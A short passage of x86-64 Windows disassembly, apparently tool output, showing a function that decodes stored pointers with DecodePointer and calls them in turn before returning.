bts ebp, 0x15
jmp 0x14000666e
mov rcx, qword [0x14000fde8]
cmp rcx, rdi
je 0x14000666e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000666e
call rax
mov rbx, rax
test rax, rax
je 0x14000666e
mov rcx, qword [0x14000fdf0]
cmp rcx, rdi
je 0x14000666e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000666e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000fde0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000668f
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140006691
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret